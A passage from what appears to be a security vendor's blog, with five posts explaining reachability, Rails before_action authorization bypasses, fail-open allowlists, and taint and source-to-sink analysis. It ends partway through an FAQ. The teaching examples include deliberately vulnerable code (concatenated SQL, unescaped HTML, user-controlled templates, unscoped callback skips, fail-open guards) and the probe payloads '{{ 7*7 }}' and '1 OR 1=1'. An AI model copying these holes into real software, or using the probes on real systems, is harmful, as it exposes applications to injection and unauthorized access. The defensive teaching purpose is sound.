Author: UnboundCompute

  • Reachability Analysis and Whether a Bug Is Exploitable

    Reachability Analysis and Whether a Bug Is Exploitable

    A scanner flags a scary function or a dependency with a known CVE, and the ticket lands on your desk. Before you spend an afternoon on it, ask the one question that decides whether it matters: is there a real path from attacker controlled input to that code in this app. That question is what reachability analysis answers, and it is the difference between a finding you must fix now and a line item you can safely park.

    What reachability analysis actually asks

    Most scanners work by matching. They see that you imported yaml.load, or that your lockfile pins a version of a library with a published advisory, and they raise an alert. Matching tells you the ingredient is in the kitchen. It does not tell you whether anyone cooks with it, or whether a stranger gets to choose what goes in the pot.

    Reachability analysis splits into two questions that both have to be true for a bug to be exploitable:

    • Call reachability. Is the dangerous function ever called on a path that begins at an entry point, such as an HTTP route, a queue consumer, or a CLI command an attacker can trigger. If nothing calls it from the outside, an attacker cannot make it run.
    • Taint reachability. Even when the function does run, does attacker controlled data actually arrive at the dangerous parameter. A function is only unsafe if the value it trusts is a value the attacker gets to set.

    A finding needs both. Call reachability without taint means the code runs but only ever on values you chose. Taint without call reachability means the data could flow in theory, but no real path fires the function. Only when both hold do you have something an attacker can steer.

    A concrete example: same function, two very different findings

    Say your dependency scanner flags libparse.render(template, data) in a fictional library, because that function has a known server side template injection bug. It appears in two places in an invented app called Acme Notes. The scanner raises the same alert for both. Reachability tells them apart.

    Here is the first call site:

    WELCOME = "Hello, welcome to Acme Notes"
    
    def startup_banner():
        return libparse.render(WELCOME, {})

    The template argument is a hard coded constant. No route reaches startup_banner with any external input, and the value it renders can never be anything but that fixed string. An attacker has no lever here. This is present, but not reachable. It is a theoretical finding, not an exploitable one.

    Here is the second call site:

    @app.post("/notes/preview")
    def preview():
        body = request.get_json()
        tpl = body["template"]
        return libparse.render(tpl, current_user_context())

    Now the template comes straight from the request body. There is a live route, so the function is call reachable. The dangerous parameter receives attacker controlled data, so it is taint reachable. A request like POST /notes/preview with {"template": "{{ 7*7 }}"} proves the path. Same library, same function, same CVE. One call site is noise and the other is a real bug. The only thing that separates them is reachability.

    Why reachability is the main lever against false positives

    Alert fatigue is not caused by tools finding too few bugs. It is caused by tools reporting every match as if it were exploitable. A team that gets a hundred dependency alerts, where ninety of them sit behind code no request ever reaches, learns to ignore the list. Then the real one hides in the pile.

    A vulnerable function that no attacker input can reach is a fact about your dependencies, not a hole in your app. Treating the two the same is how a real bug drowns in a sea of maybes.

    Reachability changes the shape of the work. Instead of triaging a hundred matches by hand, you spend time only on the findings where a path from an entry point to the dangerous line has been shown to exist. The rest are worth patching on a normal upgrade schedule, but they are not incidents. This is the same idea we write about in why we only report proven vulnerabilities: a report should carry evidence, not a guess. It also sits next to the tradeoffs in SAST vs DAST vs IAST, where each tool is noisy for its own reason.

    How reachability gets computed

    To answer these questions without running every possible input, you model the program as a graph. Functions and statements become nodes, calls become edges from caller to callee, and data flow becomes edges from where a value is produced to where it is used. This is often called a code property graph, because it holds the call structure and the data flow in one place.

    Call reachability is then a path search. Start at each entry point, walk the call edges, and see if you can arrive at the dangerous function. Taint reachability is a second search over the data flow edges: start at the attacker controlled source, follow assignments and passes through parameters, and see if the value lands on the dangerous parameter without being sanitized on the way. When both searches connect, you have a witness path, a concrete route from input to sink that a human can read and check. The open code property graph we use to compute reachability is lachesis on GitHub, if you want to see the shape of the data these searches run over.

    The honest limits: what a graph cannot see

    Reachability is strong, but it is not omniscient, and pretending otherwise is how you get a new kind of false result. Several common patterns hide edges from static analysis:

    • Dynamic dispatch. When the target of a call is chosen at run time, through a method on an object whose real type is not obvious, the graph may not know which function actually runs.
    • Reflection. Code that calls a function by looking its name up from a string, with things like getattr or an eval style call, is invisible to a plain call edge. The name might come from config, or from the request itself.
    • Config driven wiring. Frameworks that connect routes to handlers, or plug in middleware, through a config file or a registry decide part of the call graph outside the code the analyzer reads.

    Here is why that matters. Suppose a route dispatches to a handler chosen by a string in the URL:

    handler = HANDLERS.get(request.path_param("action"))
    handler(request.body)

    A static walk of the call edges cannot be sure which handler runs, so it cannot say for certain whether the dangerous function is reached. The honest move is not to guess clean and not to guess vulnerable. The honest move is to mark that edge as uncertain, and to say so plainly in the finding.

    Reachability analysis in practice: prove before you report

    Put it together with the Acme Notes example. Two alerts came in for the same template function. One had a hard coded constant and no route, so no path from an attacker existed and it stayed off the incident list. The other had a request body flowing into the template through a live route, so a full path from source to sink was shown, and that one got fixed the same day. Reachability did the sorting, and the witness path made the second finding impossible to argue with.

    This is the approach UnboundCompute takes. It computes source to sink reachability over a deterministic graph and reports a finding only after a real path is confirmed, and it marks unresolved dynamic edges as uncertainty rather than asserting reach it cannot back up. If you want the longer version of how we think about signal over noise, read more on our about page, and browse the rest of scanners vs research.

    Frequently asked questions

    What is reachability analysis in application security?

    Reachability analysis asks whether a flagged function or vulnerable dependency can actually be reached by an attacker in this specific app. It has two parts: call reachability, meaning some entry point like an HTTP route leads to the dangerous function, and taint reachability, meaning attacker controlled data actually arrives at the dangerous parameter. A finding is exploitable only when both are true.

    Why does a vulnerable library not always mean my app is vulnerable?

    A dependency can carry a known bug in a function your code never calls, or only ever calls with a hard coded constant the attacker cannot change. In that case the vulnerable code is present but not reachable from any attacker input, so there is no path to exploit. It is worth patching on a normal upgrade schedule, but it is not an incident.

    How does reachability reduce false positives and alert fatigue?

    Scanners raise an alert for every match, and most matches sit behind code no request ever reaches. Reachability lets you spend time only on findings where a real path from an entry point to the dangerous line has been shown to exist. That turns a long list of maybes into a short list of confirmed, exploitable issues, so the real bug stops hiding in the noise.

    What are the limits of reachability analysis?

    Dynamic dispatch, reflection through things like getattr, and config driven wiring can hide call edges from static analysis, so some paths cannot be resolved with certainty. The honest response is to mark those edges as uncertain rather than claiming the code is clean or vulnerable. UnboundCompute reports a finding only after a real path is confirmed and flags unresolved dynamic edges as uncertainty.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • How before_action Authorization Bypasses Happen in Rails

    How before_action Authorization Bypasses Happen in Rails

    In Rails, most apps enforce access control with controller callbacks, and before_action authorization is the pattern where a filter like before_action :require_login or before_action :authorize runs before every action to reject callers who should not be there. It works well until one action quietly runs without the check. This post walks through the four ways that happens, with real controller code, and why a scanner that greps for the check will miss the gap.

    How before_action authorization is meant to work

    A Rails controller can register a method that runs before its actions. A typical setup puts the check in a base controller so every child inherits it:

    class ApplicationController < ActionController::Base
      before_action :require_login
    
      private
    
      def require_login
        redirect_to login_path unless current_user
      end
    end

    Every controller that inherits from ApplicationController now runs require_login before each action. The check exists in one place and covers everything below it. That is the strength of the pattern, and also where the trouble starts. The check is defined once and applied by a chain of rules, so the real question is never “does the check exist” but “does the check run on this exact action”. Those are different questions, and the gap between them is invisible if you only look for the method.

    Bypass one: a skip that removes too much

    Rails lets a controller opt out of an inherited filter with skip_before_action. That is a legitimate feature. A public pages controller genuinely should not force a login. The bug is when the skip is broader than intended.

    class ReportsController < ApplicationController
      skip_before_action :require_login
    
      def public_summary
        # meant to be public, fine
      end
    
      def export
        # sensitive, was NEVER meant to be public
        send_data current_account.full_export
      end
    end

    The developer wanted public_summary open to anyone. They wrote skip_before_action :require_login with no scope, so it stripped the login check from every action in the controller, including export. Now an anonymous request to /reports/export runs with no session. The check still exists in ApplicationController. A text search for require_login finds it and reports the app as protected. The one place it does not run is the one place that matters.

    Bypass two: only and except that fall out of date

    Callbacks can be scoped to a list of actions with only: or except:. This is where drift creeps in. A filter written months ago names the actions that existed then, and a new action added later is simply not on the list.

    class InvoicesController < ApplicationController
      before_action :require_admin, only: [:edit, :update, :destroy]
    
      def edit;    end
      def update;  end
      def destroy; end
    
      # added in a later PR
      def approve
        Invoice.find(params[:id]).approve!
      end
    end

    The admin check guards edit, update, and destroy. Someone later added approve, which changes real state, but never added :approve to the only: list. So approve runs the inherited require_login but never require_admin. Any logged in user, not just an admin, can approve an invoice. The same trap works in reverse with except:. A new action that should have been excluded is not, or one that should have been covered slips through because the list was written as a blocklist and a case was forgotten.

    The check is not missing from the codebase. It is missing from one action’s effective callback chain, and that chain is assembled from inherited filters, skips, and only or except scopes that no single line of code shows you.

    Bypass three: a child controller that resets the chain

    Inheritance is the third source. A child controller can override the parent method or reset the whole filter chain, and the override wins. Consider an API base class that swaps session login for token auth:

    class Api::BaseController < ApplicationController
      skip_before_action :require_login
      before_action :require_token
    
      def require_token
        head :unauthorized unless valid_token?(request.headers["X-Api-Key"])
      end
    end
    
    class Api::WebhooksController < Api::BaseController
      skip_before_action :require_token, only: [:receive]
    
      def receive
        Order.create!(webhook_params)
      end
    end

    The API base is fine on its own. The webhooks controller then skips require_token for receive, maybe because a third party signs its payloads a different way and the team meant to verify the signature instead. If that signature check was never added, receive now runs with no auth at all. The parent chain was reset for this one action on purpose, and the replacement never arrived. Reading Api::BaseController alone tells you the API is protected. It is the child that opened the hole.

    Bypass four: callback ordering

    Callbacks run in the order they are declared. If the filter that loads the current user runs after the filter that checks permissions, the permission check reads a user that is not set yet.

    class DashboardController < ApplicationController
      before_action :authorize_manager
      before_action :set_current_membership
    
      def authorize_manager
        head :forbidden unless @membership&.manager?
      end
    
      def set_current_membership
        @membership = current_user.memberships.find_by(org_id: params[:org_id])
      end
    end

    Here authorize_manager runs first, when @membership is still nil. The safe navigation @membership&.manager? returns nil, so the guard does not halt, and the action proceeds. Swapping the two lines fixes it, but nothing about either method looks wrong in isolation. The bug lives entirely in the order. Both filters are present, both are correct, and the app is still open.

    Why before_action authorization gaps hide from text scanners

    Every example above shares one trait. The check is written somewhere in the code. A tool that pattern matches on require_login, require_admin, or authorize finds the string and moves on. The problem is never the string. It is the effective callback chain for one specific action, and Rails builds that chain from four things at once:

    • Inherited filters from every parent controller up to ActionController::Base, and any filters mixed in through modules.
    • Skips that remove an inherited filter, scoped or unscoped.
    • only and except scopes that decide whether a filter applies to this action at all.
    • Declaration order, which fixes what runs before what.

    To see the gap you have to model that chain per action, the way Rails itself resolves it, then attach the result only to the actions that are actually routed and reachable from outside. That is a structural read of the code, not a search over its text. UnboundCompute parses these controller callbacks structurally, following inherited and mixed in chains, before, around, and after ordering, action scopes, and skips, then reasons about which action really runs a given check. The same idea drives the open code property graph that parses controller callback chains, lachesis.

    This is a close cousin of broken function level authorization and belongs under the same access control umbrella, since the root cause is an action that runs without the check its neighbors get. If you want the wider picture of the class, see what is an access control vulnerability. Finding a per action gap means understanding how the app is meant to enforce access and then checking each reachable action against that intent, which is exactly the kind of assumption an autonomous researcher is built to test; you can read more on our about page.

    Frequently asked questions

    What causes a before_action authorization bypass in Rails?

    It happens when an action ends up with no auth check even though the check exists in the code. The four common causes are a skip_before_action that removes too much, an only: or except: list that a new action was left off, a child controller that resets or overrides the parent chain, and callback order that runs the permission check before the user is loaded.

    How does skip_before_action remove authorization by accident?

    When you call skip_before_action :require_login with no only: or except: scope, it drops that filter from every action in the controller, not just the one you meant to open. A public action gets its skip, and a sensitive action in the same controller silently loses the login check too. The safe form names the exact actions, such as skip_before_action :require_login, only: [:public_summary].

    Why do text scanners miss these bypasses?

    A scanner greps for the check by name, finds require_login or require_admin in the source, and marks the app as protected. The bug is never the missing string. It is the effective callback chain for one action, which Rails builds from inherited filters, skips, only and except scopes, and declaration order. You have to model that chain per action to see which action actually runs the check.

    How do I prevent before_action authorization gaps?

    Scope every skip to named actions, keep only: and except: lists in sync when you add an action, declare the filter that sets the current user before any filter that checks permissions, and verify child controllers do not reset the parent chain without replacing it. Then test each reachable action as a low privilege user and confirm you get a 403 where you expect one.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Fail Open Access Control and the Empty Allowlist

    Fail Open Access Control and the Empty Allowlist

    A fail open access control bug happens when a permission check exists but defaults to allow when something is missing, empty, or unexpected. The code looks careful. There is a guard, an allowlist, a role lookup. But when the input the guard depends on is empty or absent, the guard quietly steps aside and lets everything through. This is the opposite of what you want, and it hides in code that reads as correct.

    What fail open access control actually means

    Every access check is a choice between two failure modes. When the check cannot make a clean decision, it either fails closed and denies, or it fails open and allows. Fail closed is safe by default. Fail open is convenient by default. The trouble is that a lot of code fails open by accident, because an empty value or a missing key happens to route past the block that was supposed to stop it.

    Here is the shape you see most. An app builds a list of allowed items, then checks membership against it.

    def can_view(item, allowed):
        if allowed and item not in allowed:
            deny()
        return serve(item)

    Read the guard closely. It only denies when allowed is truthy and the item is not in it. So what happens when allowed is an empty list, or None? The first half of the condition is false, the whole condition is false, and deny() never runs. An empty allowlist stops restricting anything. It permits every item instead of none. The author almost certainly meant “empty means block everything,” but the code says “empty means skip the check.”

    The empty allowlist, in plain terms

    Imagine an invented app, Acme Reports, where a manager configures which report types a team can open. The config feeds an allowlist. On a normal day it holds three entries, and the guard above works fine. Then a migration runs, a lookup returns nothing, or a new team is created with no reports assigned yet. Now allowed is []. A user on that team requests a payroll report.

    GET /reports/payroll
    allowed = []   # resolved from empty config

    The guard sees an empty list, treats it as “no restriction,” and serves the payroll report to someone who should see nothing. The bug did not come from a typo. It came from treating “the set of allowed things is empty” as the same as “there is no rule here.” Those two ideas are opposites, and the code collapsed them into one.

    An empty allowlist should mean deny everything, but code that reads it as “no rule set” makes it mean allow everything.

    Two more shapes worth knowing

    The empty allowlist is the headline, but fail open wears other clothes. A role check that returns true on an unexpected value is one.

    def is_allowed(role):
        if role == "guest":
            return False
        return True   # anything not "guest" passes

    This looks like it blocks guests and allows the rest. But think about what happens when role is None because the profile never loaded, or a new role like "contractor" that nobody wrote a rule for. It is not "guest", so it returns true. Any value the author did not think about becomes allow. A safer version names the roles that pass and denies everything else.

    The third shape is a try block that swallows the failure and keeps going.

    try:
        check_permission(user, resource)
    except Exception:
        pass   # swallowed
    serve(resource)

    If check_permission raises, maybe the auth service timed out, maybe a key was missing, the except eats the error and the code walks straight to serve. An error inside the gate became an open gate. The user gets the resource precisely because the check broke. The fix is to let the failure deny: on any error, stop and return a 403.

    Why a scanner walks right past fail open access control

    Here is the part that makes these bugs stubborn. There is no bad pattern to match. The syntax is clean. There is no eval, no raw SQL string, no dangerous function name, no obvious injection sink. A signature based scanner looks for known bad shapes in the text, and if allowed and item not in allowed is not a known bad shape. It is ordinary, readable code. A grep for risky calls finds nothing. A linter sees a normal conditional. The guard is present, so a tool that checks “is there an authorization call here” answers yes and moves on.

    The bug is not in any single line. It lives in what allowed resolves to at run time. To catch it you have to follow the value, not the words. You have to ask: can allowed ever be empty or None when it reaches this guard, and if it can, what does the guard do then? That is a dataflow question over the source, tracing where the list comes from, whether any path produces an empty one, and where that empty value lands.

    An analyzer that follows values instead of text can flag this. It can see that an explicitly empty allowlist reaches a membership guard that only denies on a non empty list, and that this selects the full set rather than the empty set. That is a candidate, not a verdict. It still needs a human to confirm the empty state is reachable and that “allow everything” is the real effect. But it points you at the exact spot a text scanner slid past.

    A short checklist of where to look

    • Membership guards. Any if allowlist and x not in allowlist. Ask what an empty or None list does. If empty skips the deny, it fails open.
    • Role and flag checks that end in a default true. A final return True or an else: allow means every value you forgot about is permitted.
    • try blocks around auth. A check wrapped in try with an except that passes, logs, or continues. An error should deny, not proceed.
    • Config or lookups that can return empty. Allowlists built from a database, a feature flag, or an external service. Any of them can hand you an empty set on a bad day.
    • Optional values used as gates. A permission read from a nullable field, where missing is treated as “no restriction” instead of “no access.”

    The habit that catches all five is the same one that finds most access control bugs: ask what the code trusts and what happens when that thing is empty. If you want the wider picture, the access control category collects related writing. Fail open is close kin to the missing check in what an access control vulnerability is, and it often sits right beside broken function level authorization where a whole function forgets its gate.

    Fix it by failing closed

    The repair is a design decision, not a patch. Decide that every gate denies when it cannot make a clean allow. Make empty mean deny. Name the values that pass and reject the rest. Let auth errors stop the request. Going back to Acme Reports, the guard should read: if I do not have a positive, explicit reason to allow this exact item for this exact user, I deny. Then an empty allowlist blocks everything, which is what the manager meant all along.

    This is exactly the kind of bug an autonomous researcher that follows values rather than patterns is built to surface, because the danger is not in a line of code but in what that line resolves to when the data goes empty. Learn more on the about page.

    Frequently asked questions

    What is fail open access control?

    It is when a permission check exists but defaults to allow instead of deny when its input is missing, empty, or unexpected. The guard is present in the code, so it looks correct, but an empty allowlist or a null role routes past the block and lets the request through. Fail closed is the safe opposite: when the check cannot make a clean allow, it denies.

    Why does an empty allowlist permit everything?

    A common guard reads if allowed and item not in allowed: deny. When allowed is an empty list or None, the first half of the condition is false, so the whole condition is false and the deny never runs. The code treats an empty allowlist as “no rule set” rather than “block everything,” which are opposite meanings. The result is that every item is served.

    Why do scanners miss fail open access control?

    Because there is no bad pattern to match. The syntax is clean, the authorization call is present, and there is no injection sink or dangerous function name. A signature scanner checks whether a guard exists and moves on. The bug lives in what the allowlist resolves to at run time, so you have to follow the value through the code, not search the text.

    How do I fix a fail open check?

    Fail closed by design. Make empty mean deny, not skip. Name the roles or items that are allowed and reject everything else instead of ending in a default true. Let auth errors stop the request with a 403 rather than swallowing the exception and continuing. The rule is simple: if there is no explicit reason to allow, deny.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Interprocedural Taint Analysis Explained

    Interprocedural Taint Analysis Explained

    Most code that matters is spread across many functions and many files. That is why interprocedural taint analysis is the difference between an analyzer that confirms a real path from user input to a dangerous sink and one that flags every sink and hopes you sort it out. This post explains what the term means, contrasts it with tracking taint inside a single function, and is honest about the hard parts that make it fail.

    What interprocedural taint analysis means

    Taint analysis follows untrusted data. A source is where attacker controlled input enters, like a request parameter. A sink is where that data becomes dangerous, like a SQL string or a shell command. Taint analysis tracks the value from source to sink and reports when it arrives without being cleaned.

    The word interprocedural describes how far the tracking reaches. There are two levels:

    • Intraprocedural analysis stays inside one function. It sees the variables in that function and nothing else. When the value is handed to another function, the trail goes cold.
    • Interprocedural analysis follows the value out of the function. It tracks the value as it is passed in as an argument, returned back to a caller, thrown as an exception, and carried across file and module boundaries.

    Real bugs live between functions. A handler reads the input, hands it to a helper, that helper calls a database wrapper, and the unsafe query runs three functions away from where the input arrived. If your analysis stops at the first function, you never see the end of that chain.

    Intraprocedural is easy and mostly wrong on its own

    Here is a flow an intraprocedural analyzer handles well, all in one function.

    def search(request):
        name = request.args.get("name")
        query = "SELECT * FROM users WHERE name = '" + name + "'"
        db.execute(query)

    The source (request.args.get) and the sink (db.execute) are in the same function. Simple tracking inside search catches it. This is the demo every tool passes.

    Now split it the way real code is written. The input is read in one file and the query runs in another.

    # file: handlers/users.py
    from db.helpers import run_lookup
    
    def search(request):
        name = request.args.get("name")   # source
        return run_lookup(name)           # tainted value leaves this function
    # file: db/helpers.py
    def run_lookup(term):
        query = "SELECT * FROM users WHERE name = '" + term + "'"
        return db.execute(query)          # sink, in a different file

    Nothing dangerous happens inside search. Nothing obviously tainted happens inside run_lookup either, if you read it alone, because term is just a parameter with no visible origin. An analyzer that looks at one function at a time sees two clean functions and reports nothing. The bug is exactly the kind of SQL injection that ships to production.

    How interprocedural taint analysis follows the value

    To catch that flow, the analyzer needs to connect the two functions. It does that by modeling the call as a set of edges between the caller and the callee. Four kinds of edges carry taint across a call:

    • Actual to formal. The argument at the call site (the actual parameter) binds to the parameter name inside the callee (the formal parameter). Here name maps to term, so taint on name becomes taint on term.
    • Return. Whatever the callee returns flows back to the value the caller assigned. If a helper returns tainted data, the caller now holds tainted data.
    • Throw. A tainted value can leave a function through a raised exception, so the edge to the handler that catches it has to carry taint too.
    • Formal to actual for mutation. If the callee writes into a mutable argument, that change flows back out to the caller.

    With the actual to formal edge in place, the analyzer knows term inside run_lookup holds user input, follows it into the string concatenation, and reports the sink. Interprocedural reach is what lets an analyzer say the path from request.args.get to db.execute is a single connected chain, not two unrelated warnings.

    UnboundCompute’s engine builds these edges into a deterministic graph, so the same code produces the same actual, formal, return, and throw edges every time.

    Intraprocedural analysis finds the bug that fits in one screen. Interprocedural analysis finds the bug that hides in the space between functions, which is where most of them live.

    The hard parts, told honestly

    Connecting callers to callees sounds mechanical. It is not, because you cannot always tell which function a call goes to.

    Call resolution

    To draw the edge you need to know the target. For a plain named call to a function defined in the code, that is straightforward. It gets hard fast with imports, aliases, and functions passed around as values.

    Dynamic dispatch

    When you call obj.handle(data), the actual method depends on the runtime type of obj. If three classes define handle, a static analyzer may not know which one runs. It can consider all of them, which adds noise, or guess, which loses paths.

    Function pointers and callbacks

    In C a call through a function pointer has no name attached to it. The same problem shows up in higher level code as callbacks and handler tables, where the function to run is chosen at run time from a variable.

    Reflection and dynamic evaluation

    Calls built from strings, through getattr, eval, or a name looked up in a dictionary, have no static target at all. There is nothing in the text that names the function.

    Why unresolved calls must become boundaries, not blanks

    The tempting mistake is to ignore a call you cannot resolve. That is the worst option, because it silently drops taint. A value flows into a call the analyzer did not understand, the analyzer sees no outgoing edge, and it concludes the value went nowhere. You get a clean report over a real bug.

    The defensible choice is to treat an unresolved call as an explicit boundary. The analyzer records that tainted data reached a call it could not follow and marks that as the edge of what it knows. UnboundCompute’s engine does this: unresolved dynamic calls are emitted as boundaries in the graph, not quietly skipped and not filled in with invented edges. A boundary is an honest statement. It says the trail continues past here and confidence ends, which beats a false all clear or a fabricated path.

    Making cross function tracking tractable at scale needs a real parse of the code, not string matching, so calls resolve through renames and imports. UnboundCompute keeps its code property graph open, and you can read how the edges are modeled in lachesis on GitHub.

    A worked example

    Take a small app, Acme Notes. A route reads a note title, a formatting helper in another module trims it, and a rendering function writes it into a page.

    # routes.py
    title = request.form["title"]          # source
    clean = format_title(title)            # actual to formal edge
    render_note(clean)                     # tainted value passed on
    
    # format.py
    def format_title(t):
        return t.strip()                   # return edge carries taint back
    
    # render.py
    def render_note(text):
        html = "<h1>" + text + "</h1>"   # sink: raw input in HTML
        return respond(html)

    Intraprocedural analysis sees three tidy functions and nothing wrong. Interprocedural analysis follows title into format_title through the actual to formal edge, back out through the return edge as clean, then into render_note where it lands in an HTML string with no escaping. That is a cross site scripting path, confirmed as one connected chain across three files. The difference is only whether the analyzer followed the value across the calls or stopped at each door.

    Reach is what turns a sink into a finding

    A sink on its own is not a bug. db.execute and string concatenation into HTML appear all over healthy code. What makes one dangerous is a live path from an untrusted source to it. An analyzer without interprocedural reach cannot tell those apart, so it flags every sink and leaves you to check each by hand. An analyzer that follows the value can say which sinks are actually reachable from input and which are not. That is the line between a report you trust and a pile of maybes. For more on why following the value beats matching patterns, read source to sink dataflow analysis and the wider scanners vs research category.

    Tracking taint across functions honestly, and marking the boundaries where knowledge ends, is the kind of careful reasoning UnboundCompute is built on. You can read how we approach it on our about page.

    Frequently asked questions

    What is the difference between intraprocedural and interprocedural taint analysis?

    Intraprocedural taint analysis stays inside one function and loses the trail as soon as a value is passed to another function. Interprocedural taint analysis follows the value out of the function, tracking it through arguments, return values, thrown exceptions, and across file and module boundaries, which is where most real bugs actually live.

    Why does a scanner miss bugs that span multiple functions?

    If a scanner looks at one function at a time, it sees a handler that reads input and a helper that runs a query as two separate, clean functions. The input arrives in one and the sink runs in another, and without an edge connecting the call, nothing looks tainted. The bug only appears once the analyzer follows the value across the call from caller to callee.

    How should an analyzer handle a call it cannot resolve?

    It should treat the unresolved call as an explicit boundary, not ignore it. Ignoring a call you cannot follow silently drops taint and produces a false clean report. Recording it as a boundary states honestly that tainted data reached a point the analyzer could not follow, which is far more useful than inventing an edge or reporting nothing.

    Why is interprocedural reach needed to confirm a real vulnerability?

    A sink like a SQL query or an HTML write is not a bug on its own, since it appears throughout healthy code. What makes it dangerous is a live path from untrusted input. Interprocedural reach lets the analyzer show that path as one connected chain, so it can confirm which sinks are reachable from input instead of flagging every sink for you to check by hand.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Free and open source: the security-agent-skills library packages 33 tool-agnostic security-testing skills for AI coding agents, encoding the testing method behind attacks like the one in this post. Read how it works or get it on GitHub.

  • Source to Sink Analysis Explained

    Source to Sink Analysis Explained

    When a scanner flags a line of code, the first question that matters is simple: can an attacker actually reach it? Source to sink analysis is how you answer that. It traces a value from the place attacker input enters your app, the source, to the place that value gets used in a dangerous way, the sink, and it only rings the alarm when a real path connects the two.

    What source to sink analysis actually means

    Two words carry the whole idea. A source is any value an attacker controls. A sink is any operation that becomes dangerous when fed the wrong value.

    Common sources in a web app or API:

    • Request query parameters, like ?id=42.
    • Request body fields from JSON or form posts.
    • HTTP headers, including Cookie, User-Agent, and X-Forwarded-For.
    • Path segments in the URL.
    • Uploaded file names and file contents.

    Common sinks, where a tainted value turns into a bug:

    • A raw SQL query string passed to the database.
    • A shell command run with os.system or exec.
    • HTML written straight into a response, which is how reflected injection and cross site scripting happen.
    • A file path opened on disk.
    • The destination of an outbound HTTP request, the classic setup for SSRF.

    A source on its own is harmless. A sink on its own is often fine. The bug lives in the line that connects them, and that connection is exactly what dataflow analysis follows.

    Following a value from source to sink

    Data rarely goes straight from the request into the sink. It gets assigned to variables, passed into functions, concatenated, and returned. A tool doing source to sink analysis walks each of those steps and asks, at every hop, does the tainted value still flow forward?

    Here is a short flow with the taint marked at each step:

    def get_user(request):
        uid = request.args.get("id")        # source: attacker controls uid
        return lookup(uid)                   # taint passed into a function
    
    def lookup(value):
        query = "SELECT * FROM users WHERE id = " + value   # taint reaches the string
        return db.execute(query)             # sink: raw SQL runs

    The value starts life in request.args.get("id"). It travels as the argument uid, crosses a function boundary into lookup as value, lands inside a concatenated SQL string, and finally hits db.execute. That unbroken chain is a real path from source to sink. An attacker who sends ?id=1 OR 1=1 changes the meaning of the query, so this is not just scary looking code, it is exploitable.

    Why a validator breaks the chain

    Not every value that touches a sink is dangerous. If something on the path forces the value into a safe shape, the flow is broken and there is no bug to report. This is the difference between a finding and a false alarm.

    Take almost the same code, with one guard added:

    def get_user(request):
        uid = request.args.get("id")        # source
        if not uid.isdigit():               # validator: rejects anything but digits
            abort(400)
        return lookup(int(uid))             # value is now a safe integer

    The isdigit check rejects 1 OR 1=1 before it ever reaches the query, and int(uid) makes it impossible for text to survive. A tool that understands this sees the tainted string die at the validator. The path from source to sink is cut, so no alert fires. The same logic applies to a proper sanitizer, a parameterized query, an allowlist, or an escaping function that the analysis recognizes.

    This is also where these tools earn their keep or fail. If the analysis does not recognize your cleaning function, it will either miss a real bug or cry wolf on a safe one. Recognizing which functions genuinely break the flow is most of the hard work.

    Pattern grep versus real dataflow

    The plainest way to see the value of source to sink analysis is to compare it with a text search.

    A grep style scanner looks for the shape of a sink. Search for db.execute( and it flags every call, whether or not attacker input reaches it. So it fires on this line:

    db.execute("SELECT count(*) FROM users")   # constant string, no input, still flagged

    Nothing an attacker sends can change that query. There is no source, so there is no bug, but the pattern matcher does not know the difference. It flags the sink because the sink exists.

    Pattern matching asks whether a dangerous function is present. Dataflow asks whether attacker input can actually reach it. Only the second question tells you if you have a real bug.

    Dataflow inverts the logic. It starts from the sources, follows the taint, and reports the sink only when a live path connects the two. The constant query above gets no alert because no source reaches it. The concatenated query from earlier does, because one does. That is how you turn a wall of maybes into a short list of paths worth fixing.

    Doing this across a whole codebase

    Tracing one function by hand is easy. Doing it across thousands of files, through imports, class methods, and callbacks, is where it gets hard. The taint might enter in a route handler, pass through three helper modules, and reach a sink defined in a fourth. You cannot hold that in your head, and grep cannot see across those hops at all.

    This is what a code property graph is for. It models the code as a graph of declarations, calls, and data edges, so a query can walk from a source, across every assignment and function call, to a sink, and report the exact path it found. Because the graph is built from a real parse of the language rather than string matching, a rename or an import alias does not hide a caller. UnboundCompute builds an open code property graph for this kind of source reasoning, lachesis on GitHub, so the same walk that is tedious by hand becomes a single query over the whole tree.

    A graph also makes the negative answer trustworthy. When it reports no path from a given source to a given sink, that is a considered result, not a search that happened to miss. For more on how this differs from tools that only match known patterns, see scanners vs research.

    From reachable to exploitable

    Source to sink analysis draws the line between two very different statements. “This code contains a SQL call” is almost never useful on its own. “This request parameter reaches that SQL call with no validation in between” is a bug you can prove and fix. The path is the proof.

    Finding that path is one half of the work. Confirming that it is truly exploitable, and not blocked by some condition the graph could not see, is the other half. That pairing, reason about the path in the source, then verify it against the running app, is exactly the kind of work UnboundCompute is built to do. You can read more on our about page.

    Frequently asked questions

    What is a source and a sink in dataflow analysis?

    A source is any value an attacker controls, such as a request parameter, a header, a request body field, or an uploaded file name. A sink is an operation that becomes dangerous with the wrong input, like a raw SQL query, a shell command, an HTML response, or the destination of an outbound HTTP request. Source to sink analysis reports a bug only when a value flows from one to the other.

    How is source to sink analysis different from grep?

    A grep style scanner flags a sink wherever it appears, even a constant query like db.execute("SELECT count(*) FROM users") that no attacker can influence. Source to sink analysis starts from the attacker controlled sources and only reports the sink when a real path of assignments and function calls connects the two. That is the difference between a wall of maybes and a short list of paths worth fixing.

    Why does a validator stop a finding from being reported?

